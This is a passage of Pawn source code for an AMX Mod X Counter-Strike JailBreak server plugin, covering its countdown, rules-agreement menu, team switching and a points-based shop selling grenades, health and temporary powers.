- menu_setprop(servmenu, MPROP_NUMBER_COLOR, "\y")
- menu_setprop(servmenu, MPROP_EXITNAME, "Exit Menu")
- menu_display(id, servmenu)
- }
- public showmenuserv(id, servmenu, item)
- {
- if(item == MENU_EXIT)
- return
- new szKey[3], iname[33], Dummy
- get_user_name(id, iname, 32)
- menu_item_getinfo(servmenu , item, Dummy, szKey, 2, "", 0, Dummy)
- new key = str_to_num(szKey)
- ColorChat(0, "^4%s^1 has been redirected to ^4%s", iname, MessageServ[key])
- client_cmd(id, "Connect %s", MessageIp[key])
- }
- public cdmenu(id)
- {
- if(!is_user_alive(id))
- ColorChat(id, " You have to be^3 alive^4 to start a^3 countdown")
- else if(task_exists(4444))
- ColorChat(id, " There is already a^3 countdown^4 on")
- else if(get_user_team(id) == 2 || is_user_admin(id)) {
- new menu = menu_create("\r[\w #FoN.Jail \r]\y countdown", "menu_handler")
- new szNum[3], Formatex[15]
- for (new i = 0 ; i < sizeof MessageCDnum ; i++) {
- num_to_str(i+1 , szNum , 2)
- formatex(Formatex, 14, "\y%s \wSeconds", MessageCDnum[i])
- menu_additem(menu , Formatex, szNum)
- }
- menu_display(id, menu)
- } else
- ColorChat(id, "^4Only^3 Counter-terrorists^4 can start a^3 countdown")
- }
- public menu_handler(id, menu, item)
- {
- if(item == MENU_EXIT)
- return
- new Data[7], Name[64]
- new Access, Callback
- menu_item_getinfo(menu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- new name[33]
- get_user_name(id, name, 32)
- ColorChat(0, "Guard^4 %s ^1has started Countdown", name)
- switch(Key) {
- case 1: timer = 5
- case 2: timer = 10
- case 3: timer = 15
- case 4: timer = 20
- case 5: timer = 25
- case 6: timer = 30
- }
- ColorChat(0, "when^3 %d^1 is over save your^4 %s", timer, random_num(0,1) ? "ASS" : "RUN")
- countdown()
- set_task(1.0, "countdown",4444,_,_, "b")
- }
- public countdown()
- {
- new SecVoice[21]
- num_to_word(timer, SecVoice, 20)
- if(timer == 0) {
- set_hudmessage(255, 0, 0, -1.0, -1.0, 0, 6.0, 3.0)
- show_hudmessage(0, "Go go go")
- client_cmd(0, "spk ^"barney/letsgo^"")
- remove_task(4444)
- } else {
- if(timer <= 9)
- client_cmd(0, "spk ^"FoN/%s^"", SecVoice)
- else if(random_num(0,1))
- client_cmd(0, "spk ^"vox/%s^"", SecVoice)
- else
- client_cmd(0, "spk ^"fvox/%s^"", SecVoice)
- set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 0.5, 0.5)
- show_hudmessage(0, "%i", timer)
- timer--
- }
- }
- public fullupdate(id)
- {
- if(floodcounter[id] == 4) {
- new name[33]
- get_user_name(id, name, 32)
- server_cmd("kick ^"%s^" ^"Using spam command^"", name)
- }
- floodcounter[id]++
- }
- public Givec4(id)
- {
- if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) {
- if(!user_has_weapon(id, CSW_C4)) {
- fm_give_item(id, "weapon_c4")
- ColorChat(id, "You Have a c4^3, if you SPAM this Command you get ban!")
- }
- }
- }
- public GameDesc() {
- forward_return(FMV_STRING, gamename)
- return FMRES_SUPERCEDE
- }
- public client_PreThink(plr) {
- if(get_cvar_num("bh_enabled")) {
- new oldbuttons = get_user_oldbutton(plr)
- oldbuttons &= ~IN_JUMP
- entity_set_int(plr, EV_INT_oldbuttons, oldbuttons)
- }
- if(get_bit(g_PlayerBH, plr) && get_user_weapon(plr) == CSW_KNIFE && entity_get_int(plr, EV_INT_button) & 2)
- {
- new flags = entity_get_int(plr, EV_INT_flags)
- if(flags & FL_WATERJUMP || entity_get_int(plr, EV_INT_waterlevel) >= 2 || !(flags & FL_ONGROUND))
- return
- flags = entity_get_int(plr, EV_INT_flags)
- new Float:velocity[3]
- entity_get_vector(plr, EV_VEC_velocity, velocity)
- velocity[2] += 250.0
- entity_set_vector(plr, EV_VEC_velocity, velocity)
- entity_set_int(plr, EV_INT_gaitsequence, 6)
- } if(footstep[plr])
- set_pev(plr, pev_flTimeStepSound, 999)
- }
- public DisplayTaskBug(id)
- {
- if(playerpoints[id] <= 50) formatex(_status[id], 16, "Beginner")
- else if(playerpoints[id] <= 100) formatex(_status[id], 16, "Novice")
- else if(playerpoints[id] <= 200) formatex(_status[id], 16, "Distinguished")
- else if(playerpoints[id] <= 300) formatex(_status[id], 16, "Competent")
- else if(playerpoints[id] <= 400) formatex(_status[id], 16, "Master")
- else formatex(_status[id], 16, "Winner")
- Seconds[id] = 5
- DisplayRulesMenu(id)
- set_task(1.0,"DisplayRulesMenu",id,"",0,"a",4)
- set_dhudmessage(id, 160, 0, -1.0, 0.25, 2, 10.0, 5.0, 0.1, 1.5)
- show_dhudmessage(id, "Welcome To #FoN. Clubs # JailBreak Server^nPress 'G' To Drop A Points^n---- Note - New Price on Shop | Your Points Is: %i -----", playerpoints[id])
- }
- public DisplayRulesMenu(id)
- {
- if(Seconds[id] != 0)
- Seconds[id]--
- new Item[64], StrSeconds[10]
- num_to_str(Seconds[id], StrSeconds, 9)
- new menu = menu_create("\d[#FoN.Jail || JailBreak Rules]", "sub_RulesMenu")
- new callback = menu_makecallback("MenuCallbackRules")
- format(Item, 63, "%s[ Agree %s%s]", Seconds[id] == 0 ? "\r" : "\d", StrSeconds[0] == '0' ? "" : StrSeconds, StrSeconds[0] == '0' ? "" : " Sec ")
- menu_additem(menu, Item, "1", _, callback)
- menu_additem(menu, "\r[\d Decline \r]^n^n", "2")
- menu_additem(menu, "\yShow Rules", "3")
- menu_additem(menu, "\yShow Help", "4")
- menu_setprop(menu, MPROP_EXIT, MEXIT_NEVER)
- menu_display(id, menu)
- }
- public sub_RulesMenu(id, menu, item)
- {
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(menu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch(Key)
- {
- case 1: menu_destroy(menu)
- case 2: set_task(2.0, "KickUser", id)
- case 3: {
- show_motd(id, rules, "#FoN.Jail # JailBreak Rules")
- set_task(5.0,"DisplayRulesMenu",id)
- }
- case 4: {
- show_motd(id, help, "#FoN.Jail # JailBreak Help")
- set_task(5.0,"DisplayRulesMenu",id)
- }
- }
- }
- public MenuCallbackRules(id)
- return Seconds[id] != 0 ? ITEM_DISABLED : ITEM_ENABLED
- public KickUser(id)
- server_cmd("kick #%d ^"You declined the rules!^"", get_user_userid(id))
- public unvip(id) {
- if((is_user_admin(id) || get_vip[id]) && cs_get_user_team(id) == CS_TEAM_T && is_user_alive(id))
- cs_reset_user_model(id)
- else
- ColorChat(id, "you ar not admin or vip or you death")
- }
- public Event_CurWeapon(id)
- {
- if(!is_user_alive(id) || !is_user_connected(id))
- return
- new temp[2], weapon = get_user_weapon(id, temp[0], temp[1])
- if(weapon == CSW_KNIFE)
- {
- if(get_bit(g_PlayerCrowbar, id)) {
- entity_set_string(id, EV_SZ_weaponmodel, "models/p_crowbar.mdl")
- entity_set_string(id, EV_SZ_viewmodel, "models/v_crowbar.mdl")
- }
- else if(get_bit(g_PlayerStunGun, id)) {
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_stungun.mdl")
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/v_stungun.mdl")
- }
- else if(get_bit(g_PlayerDildo, id)) {
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_dildo.mdl")
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/v_dildo.mdl")
- }
- else if(get_bit(g_PlayerBH, id))
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/v_bunnyhop.mdl")
- else if(get_bit(g_PlayerGravity, id)) {
- fm_set_user_gravity(id, 400.0 / 800.0)
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_gravity.mdl")
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/v_gravity.mdl")
- }
- else if(get_bit(g_PlayerSpeed, id)) {
- fm_set_user_maxspeed(id, 450.0)
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_speed.mdl")
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/v_speed.mdl")
- }
- else {
- switch(random_num(1,6))
- {
- case 1:
- {
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/box_yellow.mdl")
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_box.mdl")
- ColorChat(id, "Your Skin Has Been Set To ^"^4Yellow^1^"Glove.")
- }
- case 2:
- {
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/box_green.mdl")
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_box.mdl")
- ColorChat(id, "Your Skin Has Been Set To ^"^4Green^1^"Glove.")
- }
- case 3:
- {
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/box_blue.mdl")
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_box.mdl")
- ColorChat(id, "Your Skin Has Been Set To ^"^4Blue^1^"Glove.")
- }
- case 4:
- {
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/box_white.mdl")
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_box.mdl")
- ColorChat(id, "Your Skin Has Been Set To ^"^4White^1^"Glove.")
- }
- case 5:
- {
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/box_red.mdl")
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_box.mdl")
- ColorChat(id, "Your Skin Has Been Set To ^"^4Red^1^"Glove.")
- }
- case 6:
- {
- entity_set_string(id, EV_SZ_viewmodel, "models/FoN/box_azure.mdl")
- entity_set_string(id, EV_SZ_weaponmodel, "models/FoN/p_box.mdl")
- ColorChat(id, "Your Skin Has Been Set To ^"^4Azure^1^"Glove.")
- }
- }
- }
- }
- else if(get_bit(g_PlayerGravity, id))
- fm_set_user_gravity(id, 800.0 / 800.0)
- else if(get_bit(g_PlayerSpeed, id))
- ResetMaxspeed(id)
- }
- public EmitSound(id, channel, sample[])
- {
- if(is_user_alive(id) && is_user_connected(id)) {
- new temp[2], weapon = get_user_weapon(id, temp[0], temp[1])
- if(weapon == CSW_KNIFE)
- {
- if(equal(sample, "weapons/knife_hit", 17)) {
- new pitch
- new Float:volume, Float:volume2
- volume = random_float(0.5, 1.0)
- volume2 = random_float(0.2, 0.3)
- switch(random_num(1,3))
- {
- case 1: pitch = PITCH_NORM
- case 2: pitch = PITCH_LOW
- case 3: pitch = PITCH_HIGH
- }
- if(get_bit(g_PlayerCrowbar, id))
- emit_sound(id, CHAN_WEAPON, "weapons/cbar_hit2.wav", volume2, ATTN_NORM, 0, pitch)
- else if(get_bit(g_PlayerStunGun, id))
- emit_sound(id, CHAN_WEAPON, "FoN/stungun/knife_hit1.wav", volume, ATTN_NORM, 0, pitch)
- else if(get_bit(g_PlayerDildo, id)) {
- switch(random_num(1,4))
- {
- case 1: emit_sound(id, CHAN_WEAPON, "FoN/dildo/dildo_hit1.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
- case 2: emit_sound(id, CHAN_WEAPON, "FoN/dildo/dildo_hit2.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
- case 3: emit_sound(id, CHAN_WEAPON, "FoN/dildo/dildo_hit3.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
- case 4: emit_sound(id, CHAN_WEAPON, "FoN/dildo/dildo_hit4.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
- }
- } else
- emit_sound(id, CHAN_WEAPON, "weapons/bullet_hit2.wav", volume, ATTN_NORM, 0, pitch)
- return FMRES_SUPERCEDE
- } else if(equal(sample,"weapons/knife_stab.wav")) {
- if(get_bit(g_PlayerDildo, id))
- emit_sound(id, CHAN_WEAPON, "FoN/dildo/dildo_hitwall.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- else if(get_bit(g_PlayerStunGun, id))
- emit_sound(id, CHAN_WEAPON, "FoN/stungun/knife_hitwall.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- else
- emit_sound(id, CHAN_WEAPON, "weapons/cbar_hitbod2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- return FMRES_SUPERCEDE
- }
- }
- }
- return FMRES_IGNORED
- }
- public FwdSetVoice(receiver, sender, bool:listen)
- {
- if(!(1 <= receiver <= g_max_clients) || !g_connected[receiver] || !(1 <= sender <= g_max_clients) || !g_connected[sender])
- return
- if((get_user_flags(sender) & ADMIN_MENU || get_bit(g_PlayerVoice, sender))
- || (cs_get_user_team(sender) == CS_TEAM_CT && is_user_alive(sender) && !mutect))
- set_speak(sender, 2)
- else set_speak(sender, 1)
- }
- public Firstwrites(id) {
- if(is_user_admin(id)) {
- new name[33]
- get_user_name(id, name, 32)
- set_hudmessage(random_num(0,255), random_num(0,255), random_num(0,255), -1.0, 0.08, 0, 4.5, 0.5)
- show_hudmessage(0, "The First writes will started in 5 seccond^nby %s", name)
- if(task_exists(4444)) remove_task(4444)
- set_task(5.0, "ActionFirstwrites")
- timer = 5
- ShowFiveSeconds(id)
- set_task(1.0,"ShowFiveSeconds",id,"",0,"a",4)
- } else
- ColorChat(id, "You have no access to that command")
- }
- public ActionFirstwrites() {
- new Item[6], _ran = random_num(1,5)
- switch(random_num(1,4)) {
- case 1: formatex(Item, _ran, "%i%i%i%i%i", random_num(0,9), random_num(0,9), random_num(0,9), random_num(0,9), random_num(0,9))
- case 2: formatex(Item, _ran, "%s%s%s%s%s", random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)])
- case 3: formatex(Item, _ran, "%s%s%s%s%s", MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)])
- case 4: formatex(Item, _ran, "%s%s%s%s%s", MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)])
- }
- set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 10.0, 10.0)
- show_hudmessage(0, "The First writes ^" %s ^" moves to CT Team", Item)
- firststart = true
- write = Item
- if(task_exists(1111)) remove_task(1111)
- set_task(20.0, "falsed_firststart", 1111)
- }
- public PlayerHasFirst(id) {
- if(firststart && cs_get_user_team(id) != CS_TEAM_CT) {
- new name[33]
- get_user_name(id, name, 32)
- cs_set_user_team(id, CS_TEAM_CT)
- ExecuteHamB(Ham_CS_RoundRespawn, id)
- client_cmd(0, "spk ^"%s^"", appmusic)
- set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
- show_hudmessage(0, "^%s write first and moved to CT", name)
- firststart = false
- }
- }
- public falsed_firststart() firststart = false
- public OpenAllDoors(id)
- {
- if(is_user_admin(id) || get_vip[id] || is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) {
- new name[32]
- get_user_name(id, name, 31)
- new ent = -1
- while((ent = fm_find_ent_by_class(ent, "func_door")))
- dllfunc(DLLFunc_Use, ent, 0)
- ColorChat(0, "^4%s ^3has Opened the cells", name)
- } else
- ColorChat(id, "You have no access to that command")
- }
- public ActionGetMenu(id)
- {
- if(cs_get_user_team(id) == CS_TEAM_CT) {
- new getmenu = menu_create("\r[\w #FoN.Jail \r]\y Switch Menu", "ActionGet")
- new players[32], pnum, tempid
- new szName[32], szTempid[10]
- get_players(players, pnum)
- for(new i; i<pnum; i++)
- {
- tempid = players[i]
- if(cs_get_user_team(tempid) != CS_TEAM_T)
- continue
- get_user_name(tempid, szName, 31)
- num_to_str(tempid, szTempid, 9)
- menu_additem(getmenu, szName, szTempid)
- }
- menu_display(id, getmenu)
- } else
- ColorChat(id, "Terrorists can not open the cells by this command")
- }
- public ActionGet(id, getmenu, item)
- {
- if(item == MENU_EXIT)
- return
- new data[6], iName[64]
- new _access, callback
- menu_item_getinfo(getmenu, item, _access, data,5, iName, 63, callback)
- new tempid = str_to_num(data)
- new szName[32], szName2[32]
- get_user_name(id, szName, 31)
- get_user_name(tempid, szName2, 31)
- ColorChat(0, "^4%s ^3switch CT with ^4%s", szName, szName2)
- cs_set_user_team(tempid, CS_TEAM_CT)
- cs_set_user_team(id, CS_TEAM_T)
- if(is_user_alive(id)) {
- user_kill(id)
- ExecuteHamB(Ham_CS_RoundRespawn, tempid)
- }
- }
- public ActionShopMenu(id)
- {
- if(is_user_connected(id)) {
- if(cs_get_user_team(id) == CS_TEAM_T)
- {
- new szShop[200]
- formatex(szShop, charsmax(szShop), "\r[\w #FoN.Jail \r]\y JailBreak Shop Menu\d (Version 0.9)^n\yNote\w - The maximum points is 500. New price!^nYour Points - %d \r%s", playerpoints[id], _status)
- new shopmenu = menu_create(szShop, "sub_ActionShopMenu")
- menu_additem(shopmenu, "\yGrenades Menu", "1")
- menu_additem(shopmenu, "\yHealths Menu", "2")
- menu_additem(shopmenu, "\yWeapons Menu", "3")
- menu_additem(shopmenu, "\yPowers Menu", "4")
- menu_additem(shopmenu, "\yVIP Menu", "5")
- menu_additem(shopmenu, "\yKnifes Power Menu", "6")
- menu_additem(shopmenu, "\yOther Menu", "7")
- menu_additem(shopmenu, "\rPlayers Points", "8")
- menu_additem(shopmenu, "Help^n", "9")
- menu_additem(shopmenu, "\yExit Shop", "10")
- menu_setprop(shopmenu, MPROP_NUMBER_COLOR, "\w")
- menu_setprop(shopmenu, MPROP_PERPAGE, 0)
- menu_display(id, shopmenu)
- } else
- ColorChat(id, "Only ^3Terrorist^4 can open the Shop. your points: ^3%d ^4%s", playerpoints[id], _status)
- }
- return PLUGIN_HANDLED
- }
- public sub_ActionShopMenu(id, shopmenu, item)
- {
- new shopname[33]
- get_user_name(id, shopname, 31)
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(shopmenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch(Key)
- {
- case 1:
- {
- new szGShop[200]
- formatex(szGShop, charsmax(szGShop), "\r[\w #FoN.Jail \r]\y JailBreak Shop Menu\d (Version 0.9)^n\yGrenades Menu^nYour Points - %d \r%s", playerpoints[id], _status)
- new shopgmenu = menu_create(szGShop, "sub_ActionGrenadesMenu")
- menu_additem(shopgmenu, "\ySmoke Grenade \r[\w 5 \r]", "1")
- menu_additem(shopgmenu, "\yFlash Grenade \r[\w 10 \r]", "2")
- menu_additem(shopgmenu, "\yHe Grenade \r[\w 15 \r]", "3")
- menu_additem(shopgmenu, "\yAll Grenades \r[\w 20 \r]", "4")
- menu_setprop(shopgmenu, MPROP_EXITNAME, "\yExit Shop")
- menu_setprop(shopgmenu, MPROP_NUMBER_COLOR, "\w")
- menu_display(id, shopgmenu)
- }
- case 2:
- {
- new szHShop[200]
- formatex(szHShop, charsmax(szHShop), "\r[\w #FoN.Jail \r]\y JailBreak Shop Menu\d (Version 0.9)^n\yHealth Menu^nYour Points - %d \r%s", playerpoints[id], _status)
- new shophmenu = menu_create(szHShop, "sub_ActionHealthMenu")
- menu_additem(shophmenu, "\y10 Health \r[\w 5 \r]", "1")
- menu_additem(shophmenu, "\y20 Health \r[\w 9 \r]", "2")
- menu_additem(shophmenu, "\y30 Health \r[\w 13 \r]", "3")
- menu_additem(shophmenu, "\y40 Health \r[\w 17 \r]", "4")
- menu_additem(shophmenu, "\y50 Health \r[\w 20 \r]", "5")
- menu_setprop(shophmenu, MPROP_EXITNAME, "\yExit Shop")
- menu_setprop(shophmenu, MPROP_NUMBER_COLOR, "\w")
- menu_display(id, shophmenu)
- }
- case 3:
- {
- new szWShop[200]
- formatex(szWShop, charsmax(szWShop), "\r[\w #FoN.Jail \r]\y JailBreak Shop Menu\d (Version 0.9)^n\yWeapons Menu^nYour Points - %d \r%s", playerpoints[id], _status)
- new shopwmenu = menu_create(szWShop, "sub_ActionWeaponsMenu")
- menu_additem(shopwmenu, "\yGlock\d 3 Bullets \r[\w 15 \r]", "1")
- menu_additem(shopwmenu, "\yUsp\d 3 Bullets \r[\w 20 \r]", "2")
- menu_additem(shopwmenu, "\yDeagle\d 2 Bullets \r[\w 25 \r]", "3")
- menu_additem(shopwmenu, "\yAwp\d 1 Bullets \r[\w 35 \r]", "4")
- menu_setprop(shopwmenu, MPROP_EXITNAME, "\yExit Shop")
- menu_setprop(shopwmenu, MPROP_NUMBER_COLOR, "\w")
- menu_display(id, shopwmenu)
- }
- case 4:
- {
- new szPShop[200]
- formatex(szPShop, charsmax(szPShop), "\r[\w #FoN.Jail \r]\y JailBreak Shop Menu\d (Version 0.9)^n\yPower Menu^nYour Points - %d \r%s", playerpoints[id], _status)
- new shoppmenu = menu_create(szPShop, "sub_ActionPowerMenu")
- menu_additem(shoppmenu, "\yCamouflage\d - 30 Seconds \r[\w 20 \r]", "1")
- menu_additem(shoppmenu, "\ySpeed\d - 20 Seconds \r[\w 15 \r]", "2")
- menu_additem(shoppmenu, "\yGravity\d - 20 Seconds \r[\w 15 \r]", "3")
- menu_additem(shoppmenu, "\yStealth\d - 5 Seconds \r[\w 15 \r]", "4")
- menu_additem(shoppmenu, "\yGodmode\d - 10 Seconds \r[\w 40 \r]", "5")
- menu_additem(shoppmenu, "\yNoclip\d - 10 Seconds \r[\w 45 \r]", "6")
- menu_setprop(shoppmenu, MPROP_EXITNAME, "\yExit Shop")
- menu_setprop(shoppmenu, MPROP_NUMBER_COLOR, "\w")
- menu_display(id, shoppmenu)
- }
- case 5:
- {
- new szVShop[200]
- formatex(szVShop, charsmax(szVShop), "\r[\w #FoN.Jail \r]\y JailBreak Shop Menu\d (Version 0.9)^n\yVIP Menu^nYour Points - %d \r%s", playerpoints[id], _status)
- new shopvmenu = menu_create(szVShop, "sub_ActionVIPMenu")
- menu_additem(shopvmenu, "\yDeagle\d - 2 Bullet \r[\w 20 \r]", "1")
- menu_additem(shopvmenu, "\yAwp\d - 1 Bullet \r[\w 25 \r]", "2")
- menu_additem(shopvmenu, "\yGodmode\d - 10 Seconds \r[\w 35 \r]", "3")
- menu_additem(shopvmenu, "\yCamouflage\d - 30 Seconds \r[\w 15 \r]", "4")
- menu_additem(shopvmenu, "\yStealth\d - 5 Seconds \r[\w 15 \r]", "5")
- menu_additem(shopvmenu, "\yVoice\d - 1 Round \r[\w 20 \r]", "6")
- menu_setprop(shopvmenu, MPROP_EXITNAME, "\yExit Shop")
- menu_setprop(shopvmenu, MPROP_NUMBER_COLOR, "\w")
- menu_display(id, shopvmenu)
- }
- case 6:
- {
- new szKShop[200]
- formatex(szKShop, charsmax(szKShop), "\r[\w #FoN.Jail \r]\y JailBreak Shop Menu\d (Version 0.9)^n\yKnife Power Menu^nYour Points - %d \r%s^n\rOnce Round", playerpoints[id], _status)
- new shopkmenu = menu_create(szKShop, "sub_ActionKnifeMenu")
- menu_additem(shopkmenu, "\yCrowBar\d Damage \r[\w 10 \r]", "1")
- menu_additem(shopkmenu, "\yStun Gun\d Damage \r[\w 10 \r]", "2")
- menu_additem(shopkmenu, "\yDildo\d Damage \r[\w 10 \r]", "3")
- menu_additem(shopkmenu, "\ySuper Bunny Hop \r[\w 10 \r]", "4")
- menu_additem(shopkmenu, "\ySpeed \r[\w 10 \r]", "5")
- menu_additem(shopkmenu, "\yGravity \r[\w 10 \r]", "6")
- menu_setprop(shopkmenu, MPROP_EXITNAME, "\yExit Shop")
- menu_setprop(shopkmenu, MPROP_NUMBER_COLOR, "\w")
- menu_display(id, shopkmenu)
- }
- case 7:
- {
- new szOShop[200]
- formatex(szOShop, charsmax(szOShop), "\r[\w #FoN.Jail \r]\y JailBreak Shop Menu\d (Version 0.9)^n\yOther Menu^nYour Points - %d \r%s", playerpoints[id], _status)
- new shopomenu = menu_create(szOShop, "sub_ActionOtherMenu")
- menu_additem(shopomenu, "\yChange Team \r[\w 190 \r]", "1")
- menu_additem(shopomenu, "\yFull VIP \r[\w 150 \r]", "2")
- menu_additem(shopomenu, "\yVIP Model\d Once Round \r[\w 5 \r]", "3")
- menu_additem(shopomenu, "\yAdmin Model\d Once Round \r[\w 10 \r]", "4")
- menu_additem(shopomenu, "\yFreeday\d Once Round \r[\w 40 \r]", "5")
- menu_setprop(shopomenu, MPROP_EXITNAME, "\yExit Shop")
- menu_setprop(shopomenu, MPROP_NUMBER_COLOR, "\w")
- menu_display(id, shopomenu)
- }
- case 8: PlayerPointsMenu(id)
- case 9:
- {
- new motd[3500]
- add(motd, 3499, "<html><head><title>JailBreak Shop</title>^n<style type=^"text/css^">^npre { font-family:Verdana,Tahoma; color:#FFB000; }^nbody { background:#000000; margin-left:8px; margin-top:0px; }^n</style></head>^n<body scroll=^"none^">^n<pre>^n^n")
- add(motd, 3499, "<b><center>^nJailBreak Shop [Version: 0.9]^n(Help Motd)^nby #FoN.Jail</center></b>^n<hr>^nInfo:^n(For Terrorist)^nKill CT - 3 Point^nKill CT On HeadShot - 5 Point^n(For Counter Terrorist)^nSurviving - 5 Point^n")
- add(motd, 3499, "Suicide - 2^n^nWhat's new (in version 0.6):^nYou get a few points I received a registered Chat and why^nGrenade Menu: All Grenades option^nVIP Menu: Fixed voice option^nKnife Power: 3 options^n^n")
- add(motd, 3499, "(in version 0.7):^nFixed Godmode option^n^n(in version 0.8):^nAdded SilentWalk (Other Menu)^nNew Scriptings^n^n^nComming Soon:^nMore Options (Weapons / Powers)^nAdd Effects^nMore Sounds^n^nCommands To open The Shop Menu:^nZ - radio1^nX - radio2^nC - radio3^nOn Chat (say and say_team):^nshop , /shop, !shop - open Shop Menu^n")
- add(motd, 3499, "/mypoints, /points - Message : My Points^n^n^nPlease Report on My Skype All Bugs Or have of ideas- Comming Soon <hr>^n")
- show_motd(id, motd)
- ActionShopMenu(id)
- }
- case 0: menu_destroy(shopmenu)
- }
- }
- public sub_ActionGrenadesMenu(id, shophmenu, item)
- {
- if(item == MENU_EXIT || !is_user_alive(id))
- {
- ActionShopMenu(id)
- return
- }
- new shopname[33]
- get_user_name(id, shopname, 31)
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(shophmenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch (Key)
- {
- case 1:
- {
- if(playerpoints[id] < 5) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 5)
- } else {
- fm_give_item(id, "weapon_smokegrenade")
- ColorChat(0, "^4%s ^1Buy ^3^"Smoke Grenade^"", shopname)
- playerpoints[id] -= 5
- }
- }
- case 2:
- {
- if(playerpoints[id] < 10) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
- } else {
- fm_give_item(id, "weapon_flashbang")
- ColorChat(0, "^4%s ^1Buy ^3^"Flash Grenade^"", shopname)
- playerpoints[id] -= 10
- }
- }
- case 3:
- {
- if(playerpoints[id] < 15) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
- } else {
- fm_give_item(id, "weapon_hegrenade")
- ColorChat(0, "^4%s ^1Buy ^3^"HE Grenade^"", shopname)
- playerpoints[id] -= 15
- }
- }
- case 4:
- {
- if(playerpoints[id] < 20) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
- } else {
- fm_give_item(id, "weapon_hegrenade")
- fm_give_item(id, "weapon_flashbang")
- fm_give_item(id, "weapon_smokegrenade")
- ColorChat(0, "^4%s ^1Buy ^3^"All Grenades^"", shopname)
- playerpoints[id] -= 20
- }
- }
- }
- ActionShopMenu(id)
- }
- public sub_ActionHealthMenu(id, shophmenu, item)
- {
- if(item == MENU_EXIT || !is_user_alive(id))
- {
- ActionShopMenu(id)
- return
- }
- new shopname[33]
- get_user_name(id, shopname, 31)
- new Data[7], Name[64], Access, Callback
- menu_item_getinfo(shophmenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch (Key)
- {
- case 1:
- {
- if(playerpoints[id] < 5) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 5)
- } else {
- fm_set_user_health(id, get_user_health(id) + 10)
- ColorChat(0, "^4%s ^1Buy ^3^"10 Health^"", shopname)
- emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 5
- }
- }
- case 2:
- {
- if(playerpoints[id] < 9) {
- emit_sound(id, CHAN_BODY, "FoN/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 9)
- } else {
- fm_set_user_health(id, get_user_health(id) + 20)
- ColorChat(0, "^4%s ^1Buy ^3^"20 Health^"", shopname)
- emit_sound(id, CHAN_ITEM, "items/medshot4.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
- playerpoints[id] -= 9
- }
- }
- case 3:
- {
- if(playerpoints[id] < 13) {
